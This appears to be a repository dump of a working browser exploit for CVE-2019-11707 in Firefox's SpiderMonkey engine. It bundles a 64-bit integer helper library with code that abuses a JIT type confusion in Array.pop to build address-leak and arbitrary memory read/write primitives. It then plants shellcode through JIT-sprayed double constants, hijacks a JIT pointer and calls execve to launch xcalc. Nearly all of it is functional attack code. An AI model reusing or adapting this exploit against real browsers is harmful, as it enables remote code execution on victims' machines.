README.md
README.md not found for CVE-2019-11707. The file may not exist in the repository.
// -- Lib support --
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
// -- End Lib support --
// ==================================================================================================================
const exploit_pack = [
new Uint8Array(0x10),
new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
new Uint8Array(0x10), // Arbitrary RW array
]
let exploit_pack_addr = 0;
let second_uint8_data = 0;
let third_uint8_data = 0;
let leaking_addr = 0;
function setup() {
function new_y() {
return new Float64Array(0x10);
}
const v4 = [new_y(), new_y(), new_y(), new_y(), new_y()];
function patch() {
if (v4.length == 0) {
v4[3] = new_y();
}
const v11 = v4.pop();
const addr = v11[11];
v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
return addr
}
var p = {};
p.__proto__ = [new_y(), new_y(), new_y()];
p[0] = exploit_pack[0];
v4.__proto__ = p;
for (let v31 = 0; v31 < 9; v31++) {
r = patch();
second_uint8_data = new Int64.fromDouble(r);
}
// console.log(second_uint8_data);
third_uint8_data = Add(second_uint8_data, 0x60);
exploit_pack_addr = Sub(second_uint8_data, 0x100);
leaking_addr = Add(exploit_pack_addr, 0x48);
}
function addrOf(obj) {
exploit_pack[3] = obj;
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = leaking_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
function read(ptr) {
read_addr = new Int64(ptr);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = read_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
// bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
function write(ptr, value) {
let addr = new Int64(ptr);
let bytes = new Int64(value);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = addr.byteAt(idx);
}
for (var idx=0; idx < 8; idx++) {
exploit_pack[2][idx] = bytes.byteAt(idx);
}
}
// Be careful with this, if this gets optimized by IonMonkey and crazy shit happens
function needleInHaystack(start) {
start = new Int64(start);
needle = "0xdeadc0debaad";
for (var j=0; j < 0x200; j++) {
address = Add(start, j);
bytes = read(address);
console.log(`${address}: ${bytes}`);
if (bytes.toString().startsWith(needle)) {
console.log(`Needle found at ${address}`);
break;
}
}
return address;
}
function stringToArray(s) {
let a = [];
for (var j=0; j < s.length; j++) {
a.push(s.charCodeAt(j));
}
return a;
}
const stager = function (a, b, c, d) {
const rax = a;
const rdi = b;
const rsi = c;
const rdx = d;
const g0 = 9.073632937307107e-271;
const g1 = 1.6063957816990143e-270;
const g2 = 1.6082444981830348e-270;
const g3 = 1.6100929890177583e-270;
const g4 = 1.6119413952339954e-270;
const g5 = 1.68020602465e-313;
}
// Baseline compile force
for (var j = 0; j < 12; j++) {
stager();
}
// -- Setup --
setup();
// ------- Log leaks for debugging --------
console.log("Exploit pack address: ", exploit_pack_addr);
console.log("Leaking ptr address: ", leaking_addr);
console.log("Second Uint8 data address: ", second_uint8_data);
console.log("Third Uint8 data address: ", third_uint8_data);
// ----- Prepare JIT spray --------
stagerAddr = addrOf(stager);
console.log("Stager func: ", stagerAddr);
jitInfo = Add(stagerAddr, 0x30);
console.log("jitInfo: ", jitInfo);
jitGetter = read(jitInfo);
console.log("Jit Getter: ", jitGetter);
jitFunction = read(jitGetter);
console.log("JIT Function: ", jitFunction);
// ---- Find offset to JIT r-x address to jmp ------
offsetJit = needleInHaystack(Add(jitFunction, 0x200));
console.log("Offset in jit Function: ", offsetJit);
jmpOffset = Add(offsetJit, 0x10);
console.log("JMP offset: ", jmpOffset);
// ----- Prepare execve args ----
program = "/usr/bin/xcalc\0";
pathArray = new Uint8Array(stringToArray(program));
eVariable = "DISPLAY=:0";
display = new Uint8Array(stringToArray(eVariable));
environ = new Uint8Array(16);
argString = new Uint8Array(0x8);
argv = new Uint8Array(16);
// ----- Shellcode prep ------
pathArrayAddr = addrOf(pathArray);
pathAddr = Add(pathArrayAddr, 0x40);
console.log("Path address: ", pathAddr);
displayAddr = Add(addrOf(display), 0x40);
environAddr = addrOf(environ);
environBufferAddr = Add(environAddr, 0x40);
write(environBufferAddr, displayAddr);
argvAddr = addrOf(argv);
argvBufferAddr = Add(argvAddr, 0x40);
write(argvBufferAddr, Add(addrOf(argString), 0x40));
// ------ Exploit ------
write(jitGetter, jmpOffset);
stager(
new Int64(59).asDouble(), // syscall number
new Int64(pathAddr).asDouble(), // arg1
new Int64(argvBufferAddr).asDouble(), // arg2
new Int64(environBufferAddr).asDouble()); // arg3
// ----- Fix the structures -----
write(Sub(second_uint8_data, 0x8), second_uint8_data);
write(Sub(third_uint8_data, 0x8), third_uint8_data);